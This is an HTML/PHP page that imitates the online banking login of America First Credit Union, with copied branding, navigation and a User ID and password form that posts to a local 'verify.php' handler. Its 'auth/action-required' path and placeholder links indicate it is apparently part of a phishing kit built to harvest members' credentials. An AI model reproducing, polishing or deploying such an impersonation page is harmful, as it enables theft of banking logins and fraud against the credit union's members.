<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>America First Credit Union – Member Login</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@600&family=Source+Sans+3:wght@300;400;600;700&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

    :root {
      --navy:   #0a1f3c;
      --navy2:  #0d2a52;
      --orange: #f47920;
      --orange-hover: #d9650f;
      --light:  #f4f7fb;
      --white:  #ffffff;
      --muted:  #8494aa;
      --border: #d0dbe8;
      --error:  #c0392b;
      --radius: 10px;
      --shadow: 0 20px 60px rgba(10,31,60,.22);
    }

    html, body {
      height: 100%;
      font-family: 'Source Sans 3', sans-serif;
      background: var(--navy);
      overflow-x: hidden;
    }

    /* ── Background ── */
    .bg-wrap {
      position: fixed; inset: 0; z-index: 0;
    }
    .bg-wrap img {
      width: 100%; height: 100%;
      object-fit: cover;
      opacity: .18;
      filter: saturate(1.2);
    }
    .bg-overlay {
      position: absolute; inset: 0;
      background: linear-gradient(135deg, rgba(10,31,60,.92) 40%, rgba(13,42,82,.75) 100%);
    }

    /* ── Top Bar ── */
    .topbar {
      position: relative; z-index: 10;
      background: rgba(5,15,30,.85);
      backdrop-filter: blur(8px);
      border-bottom: 1px solid rgba(255,255,255,.06);
      display: flex; align-items: center; justify-content: space-between;
      padding: 0 40px; height: 52px;
    }
    .topbar-links { display: flex; gap: 28px; }
    .topbar-links a {
      color: rgba(255,255,255,.65);
      font-size: .78rem; letter-spacing: .08em; text-transform: uppercase;
      text-decoration: none; transition: color .2s;
    }
    .topbar-links a:hover { color: var(--orange); }
    .topbar-links .divider {
      width: 1px; background: rgba(255,255,255,.15); align-self: stretch; margin: 10px 0;
    }

    /* ── Navbar ── */
    .navbar {
      position: relative; z-index: 10;
      display: flex; align-items: center; justify-content: space-between;
      padding: 18px 40px 14px;
    }
    .logo img { height: 52px; filter: brightness(0) invert(1); }
    .nav-links { display: flex; gap: 32px; }
    .nav-links a {
      color: rgba(255,255,255,.8);
      font-size: .82rem; font-weight: 600; letter-spacing: .1em; text-transform: uppercase;
      text-decoration: none; padding-bottom: 3px;
      border-bottom: 2px solid transparent;
      transition: color .2s, border-color .2s;
    }
    .nav-links a:hover { color: var(--white); border-color: var(--orange); }

    /* ── Main Layout ── */
    .main {
      position: relative; z-index: 5;
      min-height: calc(100vh - 130px);
      display: flex; align-items: center; justify-content: center;
      padding: 40px 20px 60px;
    }

    /* ── Card ── */
    .card {
      background: var(--white);
      border-radius: 16px;
      box-shadow: var(--shadow);
      width: 100%; max-width: 440px;
      overflow: hidden;
      animation: fadeUp .5s ease both;
    }
    @keyframes fadeUp {
      from { opacity: 0; transform: translateY(24px); }
      to   { opacity: 1; transform: translateY(0); }
    }

    .card-header {
      background: var(--navy);
      padding: 28px 36px 22px;
      border-bottom: 3px solid var(--orange);
    }
    .card-header h1 {
      font-family: 'Playfair Display', serif;
      font-size: 1.55rem; color: var(--white);
      letter-spacing: .01em; line-height: 1.2;
    }
    .card-header p {
      color: rgba(255,255,255,.55);
      font-size: .84rem; margin-top: 4px; font-weight: 300;
    }

    .card-body { padding: 32px 36px 36px; }

    /* ── Form ── */
    .form-group { margin-bottom: 20px; }
    label {
      display: block;
      font-size: .78rem; font-weight: 700; letter-spacing: .07em;
      text-transform: uppercase; color: var(--navy2); margin-bottom: 7px;
    }
    input[type="text"], input[type="password"] {
      width: 100%;
      border: 1.5px solid var(--border);
      border-radius: var(--radius);
      padding: 13px 16px;
      font-family: inherit; font-size: .97rem; color: var(--navy);
      background: var(--light);
      outline: none; transition: border-color .2s, box-shadow .2s;
    }
    input:focus {
      border-color: var(--orange);
      box-shadow: 0 0 0 3px rgba(244,121,32,.12);
      background: var(--white);
    }
    input.error-field { border-color: var(--error); }

    .input-icon-wrap { position: relative; }
    .input-icon-wrap input { padding-right: 44px; }
    .toggle-pw {
      position: absolute; right: 14px; top: 50%; transform: translateY(-50%);
      background: none; border: none; cursor: pointer; color: var(--muted);
      transition: color .2s; padding: 0; line-height: 1;
    }
    .toggle-pw:hover { color: var(--orange); }

    .form-meta {
      display: flex; justify-content: space-between; align-items: center;
      margin: -6px 0 20px;
    }
    .remember {
      display: flex; align-items: center; gap: 7px;
      font-size: .82rem; color: #4a5e78; cursor: pointer;
    }
    .remember input { width: auto; accent-color: var(--orange); }
    .forgot {
      font-size: .82rem; color: var(--orange);
      text-decoration: none; font-weight: 600;
      transition: color .2s;
    }
    .forgot:hover { color: var(--orange-hover); }

    .btn-primary {
      width: 100%; padding: 14px;
      background: var(--orange); color: var(--white);
      border: none; border-radius: var(--radius);
      font-family: inherit; font-size: .92rem; font-weight: 700;
      letter-spacing: .1em; text-transform: uppercase;
      cursor: pointer; transition: background .2s, transform .1s, box-shadow .2s;
      box-shadow: 0 4px 18px rgba(244,121,32,.35);
    }
    .btn-primary:hover { background: var(--orange-hover); box-shadow: 0 6px 24px rgba(244,121,32,.45); }
    .btn-primary:active { transform: scale(.98); }

    .divider-line {
      display: flex; align-items: center; gap: 12px;
      margin: 24px 0; color: var(--muted); font-size: .78rem; letter-spacing: .05em;
    }
    .divider-line::before, .divider-line::after {
      content: ''; flex: 1; height: 1px; background: var(--border);
    }

    .enroll-box {
      background: var(--light); border-radius: var(--radius);
      padding: 16px 18px; text-align: center;
      border: 1px solid var(--border);
    }
    .enroll-box p { font-size: .84rem; color: #4a5e78; }
    .enroll-box a {
      color: var(--orange); font-weight: 700; text-decoration: none;
      display: inline-flex; align-items: center; gap: 4px;
      transition: color .2s;
    }
    .enroll-box a:hover { color: var(--orange-hover); }

    .error-msg {
      background: #fdf0ef; border: 1px solid #e8c0bb;
      border-left: 4px solid var(--error);
      border-radius: 8px; padding: 12px 14px;
      color: var(--error); font-size: .85rem; margin-bottom: 18px;
      display: none;
    }
    .error-msg.visible { display: block; animation: shake .35s ease; }
    @keyframes shake {
      0%,100% { transform: translateX(0); }
      25% { transform: translateX(-6px); }
      75% { transform: translateX(6px); }
    }

    /* ── Footer ── */
    .footer {
      position: relative; z-index: 5;
      text-align: center; padding: 0 20px 28px;
      color: rgba(255,255,255,.32); font-size: .75rem;
    }
    .footer a { color: rgba(255,255,255,.45); text-decoration: none; }
    .footer a:hover { color: var(--orange); }

    @media (max-width: 600px) {
      .topbar, .navbar { padding: 0 18px; }
      .navbar { padding: 14px 18px; }
      .nav-links { display: none; }
      .card-header, .card-body { padding-left: 22px; padding-right: 22px; }
    }
  </style>
</head>
<body>

<!-- Background -->
<div class="bg-wrap">
  <img src="/AMFIRSTCU/auth/action-required/res/img/background.webp" alt="">
  <div class="bg-overlay"></div>
</div>

<!-- Top Bar -->
<div class="topbar">
  <div class="topbar-links">
    <a href="#">Find My Routing Number</a>
    <div class="divider"></div>
    <a href="#">Financial Education</a>
  </div>
</div>

<!-- Navbar -->
<nav class="navbar">
  <div class="logo"><img src="/AMFIRSTCU/auth/action-required/res/img/logo.svg" alt="America First Credit Union"></div>
  <div class="nav-links">
    <a href="#">Loans</a>
    <a href="#">Accounts</a>
    <a href="#">Services</a>
    <a href="#">Visa</a>
    <a href="#">Business</a>
    <a href="#">About</a>
  </div>
</nav>

<!-- Main -->
<div class="main">
  <div class="card">
    <div class="card-header">
      <h1>Online Banking Login</h1>
      <p>Sign in to manage your accounts securely</p>
    </div>
    <div class="card-body">

      <div class="error-msg" id="errorMsg">
        ⚠ Invalid credentials. Please check your User ID and password.
      </div>

      <form method="POST" action="verify.php" id="loginForm" novalidate>
        <div class="form-group">
          <label for="userid">User ID or Account Number</label>
          <input type="text" id="userid" name="userid"
                 placeholder="Enter your User ID"
                 autocomplete="username" required>
        </div>

        <div class="form-group">
          <label for="password">Password</label>
          <div class="input-icon-wrap">
            <input type="password" id="password" name="password"
                   placeholder="Enter your password"
                   autocomplete="current-password" required>
            <button type="button" class="toggle-pw" id="togglePw" aria-label="Toggle password visibility">
              <svg id="eyeIcon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                <path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/>
                <circle cx="12" cy="12" r="3"/>
              </svg>
            </button>
          </div>
        </div>

        <div class="form-meta">
          <label class="remember">
            <input type="checkbox" name="remember"> Remember my User ID
          </label>
          <a href="#" class="forgot">Forgot Password?</a>
        </div>

        <button type="submit" class="btn-primary" id="submitBtn">
          Login →
        </button>
      </form>

      <div class="divider-line">or</div>

      <div class="enroll-box">
        <p>First time logging in?&nbsp;
          <a href="enroll.php">Enroll Now →</a>
        </p>
      </div>

    </div>
  </div>
</div>

<!-- Footer -->
<div class="footer">
  <p>&copy; <?= date('Y') ?> America First Credit Union. All rights reserved. &nbsp;|&nbsp;
    <a href="#">Privacy Policy</a> &nbsp;|&nbsp;
    <a href="#">Security</a> &nbsp;|&nbsp;
    <a href="#">Accessibility</a>
  </p>
</div>

<script>
  // Toggle password visibility
  document.getElementById('togglePw').addEventListener('click', function () {
    const pw = document.getElementById('password');
    const icon = document.getElementById('eyeIcon');
    if (pw.type === 'password') {
      pw.type = 'text';
      icon.innerHTML = '<path d="M17.94 17.94A10.07 10.07 0 0112 20c-7 0-11-8-11-8a18.45 18.45 0 015.06-5.94"/><path d="M9.9 4.24A9.12 9.12 0 0112 4c7 0 11 8 11 8a18.5 18.5 0 01-2.16 3.19"/><line x1="1" y1="1" x2="23" y2="23"/>';
    } else {
      pw.type = 'password';
      icon.innerHTML = '<path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/><circle cx="12" cy="12" r="3"/>';
    }
  });

  // Basic client-side validation
  document.getElementById('loginForm').addEventListener('submit', function (e) {
    const uid = document.getElementById('userid').value.trim();
    const pw  = document.getElementById('password').value.trim();
    const err = document.getElementById('errorMsg');
    const uid_field = document.getElementById('userid');
    const pw_field  = document.getElementById('password');

    uid_field.classList.remove('error-field');
    pw_field.classList.remove('error-field');
    err.classList.remove('visible');

    if (!uid || !pw) {
      e.preventDefault();
      if (!uid) uid_field.classList.add('error-field');
      if (!pw)  pw_field.classList.add('error-field');
      err.textContent = '⚠ Please enter both your User ID and Password.';
      err.classList.add('visible');
    }
  });
</script>
</body>
</html>